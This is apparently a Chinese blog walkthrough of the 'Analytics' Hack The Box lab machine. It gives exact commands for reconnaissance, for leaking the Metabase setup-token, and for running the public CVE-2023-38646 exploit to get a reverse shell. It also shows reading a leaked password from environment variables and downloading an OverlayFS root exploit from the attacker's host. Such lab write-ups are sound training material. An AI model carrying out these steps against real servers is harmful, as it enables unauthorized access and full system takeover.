难度:Easy

OS:Linux


1. Task 1

Task 1:How many open TCP ports are listening on Analytics?

分析:
快速扫描全端口:rustscan -a 10.129.229.224 -r 1-65535

在这里插入图片描述

开放了 22 和 80 端口。再用nmap扫描这两个端口:nmap -p22,80 -AO -sV -sT 10.129.229.224

在这里插入图片描述

所以答案是:2

2. Task 2

Task 2:What subdomain is configured to provide a different application on the target web server?
在目标 Web 服务器上配置了哪个子域名以提供不同的应用程序?

分析:

在浏览器中访问80端口:http://10.129.229.224:80

访问失败,可以看到跳转到了:http://analytical.htb/

修改 /etc/hosts 文件,在后面添加:10.129.229.224 analytical.htb

再次在浏览器中访问域名。

在这里插入图片描述

点击右上角的login时,会自动跳转到 http://data.analytical.htb/

还是无法访问,修改 /etc/hosts 文件,最终效果:10.129.229.224 analytical.htb data.analytical.htb

再次点击 login,可以跳转并访问:

在这里插入图片描述

所以答案是:data.analytical.htb

也可以用子域名扫描工具:gobuster vhost -w /usr/share/wordlists/amass/subdomains-top1mil-5000.txt -u http://analytical.htb -t 30 --append-domain

在这里插入图片描述

3. Task 3

Task 3:What application is running on data.analytical.htb?
data.analytical.htb域名上运行的什么应用程序。

分析:从上面的截图中就可以看到。

所以答案是:Metabase

4. Task 4

Task 4:What version of Metabase is the target running?
Metabase是什么版本。

分析:

指纹探测:whatweb http://data.analytical.htb/auth/login?redirect=%2F
在这里插入图片描述

没有版本信息。
打开bp抓包,在响应中搜索 version,可以看到版本信息:
在这里插入图片描述

所以答案是:v0.46.6

5. Task 5

Task 5:What is the 2023 CVE ID assigned to the pre-authentication, remote code execution vulnerability in this version of Metabase?
在此版本的 Metabase 中,分配给该预认证远程代码执行漏洞的 2023 年 CVE ID 是什么?

分析:

搜索 Metabase 相关的漏洞:searchsploit Metabase

在这里插入图片描述



脚本的完整路径:/usr/share/exploitdb/exploits/linux/webapps/51797.py

把脚本复制到桌面上:cp /usr/share/exploitdb/exploits/linux/webapps/51797.py .

查看脚本内容即可发现CVE编号:

在这里插入图片描述

所以答案是:CVE-2023-38646

6. Task 6

Task 6:What is the value of the setup-token used by this Metabase instance?

这个 Metabase 实例使用的 setup-token 的值是多少?


分析:
查找了一些 Metabase 和 setup-token 的信息:

setup-token 是 Metabase 在初始化/设置流程中使用的一个短期令牌(token),用于把前端的“创建管理员/初始化实例”请求和后端的初始化流程绑定起来,防止随意提交初始化表单。你可以把它看成“第一次启动时的临时密钥”。注:Metabase 的设计是初始化完成后这个 token 应该被清空/不可用,但历史上某些版本存在实现缺陷,导致 token 在实例可访问时仍能被读取,从而被利用。

GET 方式访问 Metabase 的 API: /api/session/properties

在响应中直接搜索 setup-token:

在这里插入图片描述

所以答案是:249fa03d-fd94-4d5b-b94f-b4ebf3df681f


也可以直接在命令行中:curl -s http://data.analytical.htb/api/session/properties | grep 'setup-token'

在这里插入图片描述

7. Task 7

Task 7:Which Metabase API endpoint is used to execute arbitrary commands using the token?
哪个 Metabase API 端点用于使用令牌执行任意命令?

分析:

前面找到一个cve,从网上查询这个漏洞的相关信息。

/api/setup/validate 接口可以用来执行命令,并且需要提供token。

所以答案是:/api/setup/validate

8. Task 8

Task 8:Which user is the Metabase application running as?
Metabase 应用程序以哪个用户身份运行?

分析:

利用前面得到的脚本。查看脚本的内容,主要做了以下工作:

  • 读取目标 Metabase 的 GET /api/session/properties 来抓 setup-token
  • 使用构造的 JSON payload 反复 POST /api/setup/validate,触发 Metabase 在服务器端执行的 H2/jdbc trigger 注入,从而让目标去请求你搭建的 HTTP 服务 /exploitable
  • 脚本会在本地启动一个小 HTTP 服务(参数 -sport),当目标请求 /exploitable 时,会返回一个 base64 编码的输出(脚本后续把这个 base64 解码并打印),并进入交互式 shell,可以向目标下命令(脚本会再次通过 payload 让目标下载并执行脚本),最终把命令输出回连到你的 -lport 监听端口上。
  • 必需参数:
    • -l, -lhost:反弹ip。
    • -p, -lport :反弹端口。
    • -P, -sport:脚本内置的 HTTP 服务器绑定端口(脚本会在该端口启动一个简单 HTTP 服务并响应 /exploitable)。目标被触发后会去请求 http://<lhost>:<sport>/exploitable
    • -u, -url :目标 Metabase 的 URL,例如 http://analytical.htbhttp://10.129.229.224(不要以 / 结尾,脚本会自动去掉尾部的 /)。

执行脚本:python3 51797.py -u http://data.analytical.htb -P 9999 -l 10.10.16.6 -p 8888

(脚本中指明了是 python3:#!/usr/bin/env python3)

在这里插入图片描述

从上图可以看出,当前用户是:metabase

9. Task 9

Task 9:Which environment variable contains the password for the metalytics user?
哪个环境变量包含 metalytics 用户的密码?

分析:

输出当前已设置的所有的环境变量:printenv

在这里插入图片描述

META_USER=metalytics
META_PASS=An4lytics_ds20223#

所以答案是:META_PASS

10. Task 10

Task 10:Submit the flag located in the metalytics user’s home directory.
提交metalytics用户家目录的flag。

分析:

前面探测端口的时候还发现目标服务器开了22端口,ssh服务。

尝试ssh连接:ssh metalytics@10.129.229.224

在这里插入图片描述


查看flag:

在这里插入图片描述


11. Task 11

Task 11:What kernel version is installed on the host system?
主机的内核版本。

分析:

执行命令:uname -a

在这里插入图片描述

信息:

部分 含义
Linux 操作系统内核类型
analytics 主机名(hostname)
6.2.0-25-generic 内核版本号
#25~22.04.2-Ubuntu 内核构建号/版本信息
SMP PREEMPT_DYNAMIC 内核编译选项(SMP = 多核支持, PREEMPT_DYNAMIC = 动态抢占)
Wed Jun 28 09:55:23 UTC 2 内核编译时间
x86_64 x86_64 x86_64 硬件架构信息(CPU 架构 / 处理器类型 / 操作系统位数)
GNU/Linux 操作系统类型

所以答案是内核版本:6.2.0-25-generic

12. Task 12

Task 12:What Ubuntu release is the system running? The answer is of the format “.”.
系统运行的Ubuntu版本。

分析:

查看发行版本相关的信息:lsb_release -a

在这里插入图片描述

答案:22.04

13. Task 13

Task 13:What component used by the Ubuntu operating system on the target system is vulnerable to a privileges escalation vulnerability assigned two 2023 CVEs?
在目标系统上,Ubuntu 操作系统使用的哪个组件存在权限提升漏洞,该漏洞被分配了两个 2023 年的 CVE?

分析:

Ubuntu 22.04.2系统存在已知的本地权限提升漏洞:

  • CVE-2023-2640: GameOverlay FS权限提升漏洞
  • CVE-2023-32629: 本地权限提升漏洞

找到相关的信息:

https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629/tree/main

https://cloud.tencent.com/developer/article/2332548

从相关信息中可以看出,漏洞产生在OverlayFS组件。所以答案:OverlayFS

14. Task 14

Task 14:Submit the flag located in the root user’s home directory.

分析:

前面github中有脚本:https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629/tree/main

先在kali中下载:git clone https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629.git

进入有sh脚本的目录中,开一个http服务:python3 -m http.server 8888

在这里插入图片描述

进入目标主机的 /tmp 目录,在目标主机中下载脚本:wget http://10.10.16.6:8888/exploit.sh

给执行权限:chmod +x exploit.sh

执行成功即可获取root权限。

在这里插入图片描述


15. 总结

都是比较基础的,如何获取信息的题目较多。



Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐